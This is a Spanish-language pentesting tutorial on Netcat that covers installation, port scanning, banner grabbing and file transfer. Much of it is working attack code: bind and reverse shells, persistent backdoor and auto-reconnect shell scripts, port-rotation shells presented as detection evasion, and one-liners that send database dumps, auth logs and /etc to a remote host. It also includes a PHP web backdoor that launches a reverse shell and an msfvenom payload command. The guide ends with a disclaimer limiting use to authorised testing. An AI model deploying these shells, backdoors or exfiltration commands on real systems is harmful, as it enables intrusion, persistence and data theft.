Netcat - La Navaja Suiza de las Redes

Netcat - La Navaja Suiza de las Redes

Introducción

Netcat (nc) es conocido como “la navaja suiza de las redes” debido a su versatilidad y simplicidad. Es una herramienta fundamental en pentesting que permite leer y escribir datos a través de conexiones de red usando TCP o UDP. Su capacidad para establecer conexiones, transferir archivos, crear shells y realizar port scanning lo convierte en una herramienta indispensable.

¿Por qué usar Netcat?

• Versatilidad: Múltiples funciones en una sola herramienta
• Simplicidad: Sintaxis clara y fácil de recordar
• Ubicuidad: Disponible en casi todos los sistemas Unix/Linux
• Ligero: Consume pocos recursos del sistema
• Confiable: Herramienta probada y estable

Casos de Uso Principales

• Reverse y Bind Shells: Establecer acceso remoto
• Transferencia de archivos: Envío seguro de datos
• Port scanning: Descubrimiento de servicios
• Banner grabbing: Identificación de servicios
• Proxy y relay: Redirección de tráfico
• Chat y comunicación: Canales de comunicación simples

Instalación y Versiones

Instalación en Diferentes Sistemas

# Ubuntu/Debian
sudo apt update
sudo apt install netcat-openbsd  # Versión recomendada
sudo apt install netcat-traditional  # Versión clásica

# CentOS/RHEL/Fedora
sudo yum install nc
sudo dnf install nc

# macOS
brew install netcat

# Verificar instalación
nc -h
which nc

Diferencias entre Versiones

Versión	Características	Uso Recomendado
GNU Netcat	Versión original, básica	Sistemas legacy
OpenBSD Netcat	Más segura, sin -e	Sistemas modernos
Ncat (Nmap)	Características avanzadas, SSL	Pentesting avanzado
Traditional	Compatible con scripts antiguos	Compatibilidad

# Verificar versión
nc -h 2>&1 | head -1

# Instalar Ncat (versión de Nmap)
sudo apt install nmap
ncat --version

Sintaxis Básica

Comandos Fundamentales

# Sintaxis general
nc [opciones] [hostname] [puerto]

# Escuchar en un puerto (servidor)
nc -l -p 4444

# Conectar a un servidor
nc 192.168.1.100 4444

# Escanear puertos
nc -zv 192.168.1.100 1-1000

Parámetros Principales

Parámetro	Descripción	Ejemplo
-l	Modo listen (servidor)	nc -l -p 4444
-p <puerto>	Especificar puerto	nc -l -p 8080
-e <programa>	Ejecutar programa	nc -l -p 4444 -e /bin/bash
-v	Modo verbose	nc -lv -p 4444
-n	No resolver DNS	nc -nv 192.168.1.100 4444
-z	Port scanning	nc -zv host 1-1000
-u	Usar UDP	nc -lu -p 4444
-w <timeout>	Timeout de conexión	nc -w 5 host 4444

Shells con Netcat

Bind Shell

# En la máquina objetivo (víctima)
nc -l -p 4444 -e /bin/bash

# En la máquina atacante
nc 192.168.1.100 4444

Reverse Shell

# En la máquina atacante (listener)
nc -l -p 4444

# En la máquina objetivo
nc 192.168.1.100 4444 -e /bin/bash

Shells sin -e (OpenBSD Netcat)

# Reverse shell usando named pipes
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.1.100 4444 > /tmp/f

# Bind shell usando named pipes
rm /tmp/f; mkfifo /tmp/f
nc -l -p 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1

Shells Persistentes

persistent_shell.sh

#!/bin/bash
while true; do
    nc -l -p 4444 -e /bin/bash
    sleep 1
done

Transferencia de Archivos

Envío de Archivos

# Receptor (servidor)
nc -l -p 4444 > archivo_recibido.txt

# Emisor (cliente)
nc 192.168.1.100 4444 < archivo_a_enviar.txt

Transferencia de Directorios

# Enviar directorio completo
# Receptor:
nc -l -p 4444 | tar xzf -

# Emisor:
tar czf - /directorio/importante | nc 192.168.1.100 4444

Transferencia con Verificación

# Con checksum MD5
# Receptor:
nc -l -p 4444 > archivo.zip && md5sum archivo.zip

# Emisor:
md5sum archivo.zip && nc 192.168.1.100 4444 < archivo.zip

Transferencia Cifrada (con Ncat)

# Receptor con SSL
ncat -l --ssl -p 4444 > archivo_seguro.txt

# Emisor con SSL
ncat --ssl 192.168.1.100 4444 < archivo_secreto.txt

Port Scanning con Netcat

Escaneo Básico

# Escanear un puerto específico
nc -zv 192.168.1.100 22

# Escanear rango de puertos
nc -zv 192.168.1.100 1-1000

# Escanear puertos comunes
nc -zv 192.168.1.100 21 22 23 25 53 80 110 443 993 995

Escaneo UDP

# Escanear puertos UDP
nc -zuv 192.168.1.100 53 161 162 500

Scripts de Escaneo

nc_port_scanner.sh

#!/bin/bash
HOST=$1
START_PORT=${2:-1}
END_PORT=${3:-1000}

if [ $# -lt 1 ]; then
    echo "Uso: $0 <host> [puerto_inicio] [puerto_fin]"
    exit 1
fi

echo "[+] Escaneando $HOST puertos $START_PORT-$END_PORT"

for port in $(seq $START_PORT $END_PORT); do
    timeout 1 nc -zv $HOST $port 2>&1 | grep -E "(open|succeeded)" && echo "Puerto $port: ABIERTO"
done

Banner Grabbing

Identificación de Servicios

# HTTP
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

# SMTP
nc 192.168.1.100 25

# FTP
nc 192.168.1.100 21

# SSH
nc 192.168.1.100 22

# Telnet
nc 192.168.1.100 23

Script de Banner Grabbing

banner_grabber.sh

#!/bin/bash
grab_banner() {
    local host=$1
    local port=$2
    local service=$3

    echo "[+] Grabbing banner for $service on $host:$port"

    case $service in
        "http")
            echo -e "GET / HTTP/1.1\r\nHost: $host\r\n\r\n" | timeout 5 nc $host $port
            ;;
        "smtp")
            echo "EHLO test" | timeout 5 nc $host $port
            ;;
        "ftp")
            timeout 5 nc $host $port
            ;;
        *)
            timeout 5 nc $host $port
            ;;
    esac
    echo "----------------------------------------"
}

# Uso
HOST=${1:-192.168.1.100}

grab_banner $HOST 21 ftp
grab_banner $HOST 22 ssh
grab_banner $HOST 25 smtp
grab_banner $HOST 80 http
grab_banner $HOST 443 https

Técnicas Avanzadas

Proxy y Relay

# Crear un proxy simple
mkfifo /tmp/pipe
nc -l -p 8080 < /tmp/pipe | nc 192.168.1.100 80 > /tmp/pipe

Chat entre Sistemas

# Sistema 1 (servidor)
nc -l -p 4444

# Sistema 2 (cliente)
nc 192.168.1.100 4444

# Ahora pueden chatear en tiempo real

Backdoor Persistente

backdoor.sh

#!/bin/bash
while true; do
    nc -l -p 4444 -e /bin/bash 2>/dev/null
    sleep 5
done &

Túnel de Datos

# Túnel TCP
nc -l -p 8080 | nc 192.168.1.100 80

# Túnel UDP
nc -lu -p 5353 | nc -u 8.8.8.8 53

Scripts de Automatización

Multi-Listener

multi_listener.sh

#!/bin/bash
PORTS=(4444 4445 4446 4447 4448)
LOG_DIR="nc_logs_$(date +%Y%m%d_%H%M%S)"

mkdir -p $LOG_DIR

echo "[+] Iniciando múltiples listeners de Netcat"

for port in "${PORTS[@]}"; do
    echo "[+] Listener en puerto $port"

    # Iniciar listener en background
    nc -l -p $port > $LOG_DIR/connection_$port.log 2>&1 &

    echo "PID: $! - Puerto: $port" >> $LOG_DIR/listeners.txt
done

echo "[+] Listeners activos:"
cat $LOG_DIR/listeners.txt

echo "[+] Para terminar todos los listeners:"
echo "pkill -f 'nc -l'"

Auto-Reconnect Shell

auto_reconnect_shell.sh

#!/bin/bash
TARGET_HOST="192.168.1.100"
TARGET_PORT="4444"
DELAY=10

echo "[+] Auto-reconnect shell to $TARGET_HOST:$TARGET_PORT"

while true; do
    echo "[+] Attempting connection..."

    # Intentar conexión
    if nc -zv $TARGET_HOST $TARGET_PORT 2>/dev/null; then
        echo "[+] Connection successful!"
        nc $TARGET_HOST $TARGET_PORT -e /bin/bash
    else
        echo "[-] Connection failed, retrying in $DELAY seconds..."
    fi

    sleep $DELAY
done

File Transfer Server

file_server.sh

#!/bin/bash
PORT=${1:-8080}
FILE_DIR=${2:-./files}

mkdir -p $FILE_DIR

echo "[+] Netcat File Transfer Server"
echo "[+] Puerto: $PORT"
echo "[+] Directorio: $FILE_DIR"

while true; do
    echo "[+] Esperando conexión en puerto $PORT..."

    # Mostrar archivos disponibles
    echo "=== ARCHIVOS DISPONIBLES ===" > /tmp/file_list.txt
    ls -la $FILE_DIR >> /tmp/file_list.txt
    echo "=============================" >> /tmp/file_list.txt

    # Enviar lista de archivos
    nc -l -p $PORT < /tmp/file_list.txt

    echo "[+] Lista de archivos enviada"

    # Esperar solicitud de archivo específico
    echo "[+] Esperando solicitud de archivo..."
    filename=$(nc -l -p $((PORT + 1)))

    if [ -f "$FILE_DIR/$filename" ]; then
        echo "[+] Enviando archivo: $filename"
        nc -l -p $((PORT + 2)) < "$FILE_DIR/$filename"
    else
        echo "[-] Archivo no encontrado: $filename"
        echo "Archivo no encontrado" | nc -l -p $((PORT + 2))
    fi
done

Evasión y Anti-Detección

Ofuscación de Tráfico

# Usar puertos comunes
nc -l -p 80  # HTTP
nc -l -p 443 # HTTPS
nc -l -p 53  # DNS

# Cambiar User-Agent (con Ncat)
ncat --http-tunnel-auth user:pass proxy.com:8080 target.com 80

Shells Cifrados

# Con Ncat y SSL
# Servidor:
ncat -l --ssl --ssl-cert cert.pem --ssl-key key.pem -p 4444 -e /bin/bash

# Cliente:
ncat --ssl 192.168.1.100 4444

Rotación de Puertos

port_rotation.sh

#!/bin/bash
PORTS=(4444 8080 443 53 22)
CURRENT_PORT=0

while true; do
    PORT=${PORTS[$CURRENT_PORT]}
    echo "[+] Usando puerto $PORT"

    timeout 300 nc -l -p $PORT -e /bin/bash

    # Rotar al siguiente puerto
    CURRENT_PORT=$(((CURRENT_PORT + 1) % ${#PORTS[@]}))

    sleep 5
done

Casos de Uso Específicos

Exfiltración de Datos

# Exfiltrar base de datos
mysqldump -u user -p database | nc 192.168.1.100 4444

# Exfiltrar logs del sistema
cat /var/log/auth.log | nc 192.168.1.100 4444

# Exfiltrar archivos de configuración
tar czf - /etc | nc 192.168.1.100 4444

Backdoor en Aplicaciones Web

<?php
// Simple PHP backdoor usando Netcat
if(isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if($cmd == 'shell') {
        system('nc 192.168.1.100 4444 -e /bin/bash &');
        echo "Shell iniciado";
    }
}
?>

Monitoreo de Red

network_monitor.sh

#!/bin/bash
monitor_connections() {
    local target_host=$1
    local target_port=$2

    echo "[+] Monitoreando conexiones a $target_host:$target_port"

    while true; do
        if nc -zv $target_host $target_port 2>/dev/null; then
            echo "[$(date)] $target_host:$target_port - UP"
        else
            echo "[$(date)] $target_host:$target_port - DOWN"
        fi
        sleep 30
    done
}

# Monitorear múltiples servicios
monitor_connections 192.168.1.100 22 &
monitor_connections 192.168.1.100 80 &
monitor_connections 192.168.1.100 443 &

wait

Integración con Otras Herramientas

Con Nmap

# Usar Netcat después de Nmap
nmap -p 1-1000 192.168.1.100 | grep open | while read line; do
    port=$(echo $line | cut -d'/' -f1)
    echo "[+] Probando puerto $port"
    timeout 5 nc -zv 192.168.1.100 $port
done

Con Metasploit

# Usar Netcat como payload delivery
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > shell.elf

# Listener con Netcat
nc -l -p 4444

Con SSH

# Túnel SSH + Netcat
ssh -L 8080:localhost:4444 user@remote_host
nc localhost 8080

Troubleshooting

Problemas Comunes

# Problema: "Address already in use"
# Solución: Verificar procesos usando el puerto
netstat -tulpn | grep :4444
lsof -i :4444
kill -9 <PID>

# Problema: Conexión rechazada
# Solución: Verificar firewall
iptables -L
ufw status

# Problema: No hay opción -e
# Solución: Usar named pipes o instalar versión tradicional
apt install netcat-traditional

Debugging

# Modo verbose para debugging
nc -lvv -p 4444

# Verificar conectividad
nc -zv target.com 4444

# Monitorear tráfico
tcpdump -i any -n port 4444

Alternativas y Herramientas Relacionadas

Ncat (Nmap Netcat)

# Características avanzadas de Ncat
ncat -l --ssl -p 4444                    # SSL/TLS
ncat -l --proxy-type http -p 8080        # Proxy HTTP
ncat -l --chat -p 4444                   # Chat multiusuario
ncat --broker --listen -p 4444           # Broker mode

Socat

# Alternativa más poderosa
socat TCP-LISTEN:4444,fork EXEC:/bin/bash
socat FILE:`tty`,raw,echo=0 TCP:192.168.1.100:4444

PowerShell (Windows)

# Equivalente en PowerShell
Test-NetConnection -ComputerName 192.168.1.100 -Port 4444
New-NetTCPSession -RemoteAddress 192.168.1.100 -RemotePort 4444

Mejores Prácticas

Seguridad

# Usar timeout para evitar conexiones colgadas
timeout 30 nc -l -p 4444

# Limitar conexiones por IP
iptables -A INPUT -p tcp --dport 4444 -m limit --limit 3/min -j ACCEPT

# Logging de conexiones
nc -l -p 4444 2>&1 | tee nc_connections.log

Performance

# Optimizar buffer size
nc -l -p 4444 -s 192.168.1.100  # Bind a interfaz específica

# Usar UDP para transferencias rápidas
nc -lu -p 4444 > large_file.dat

Automatización

# Script wrapper para funciones comunes
alias nc-listen='nc -l -p'
alias nc-connect='nc -v'
alias nc-scan='nc -zv'

Recursos Adicionales

Documentación Oficial

• GNU Netcat Manual
• OpenBSD Netcat
• Ncat Documentation

Herramientas Complementarias

• Socat: Versión más avanzada de Netcat
• Ncat: Netcat de Nmap con características SSL
• Cryptcat: Netcat con cifrado
• GNU Netcat: Versión original con más características

Cheat Sheets

• Netcat Cheat Sheet
• Reverse Shell Cheat Sheet

Disclaimer Legal

⚠️ IMPORTANTE: Esta documentación es únicamente para fines educativos y de investigación en ciberseguridad. El uso de Netcat debe realizarse exclusivamente en:

• Sistemas propios
• Entornos de laboratorio
• Pruebas de penetración autorizadas

El uso no autorizado puede constituir un delito. Los autores no se hacen responsables del mal uso de esta información.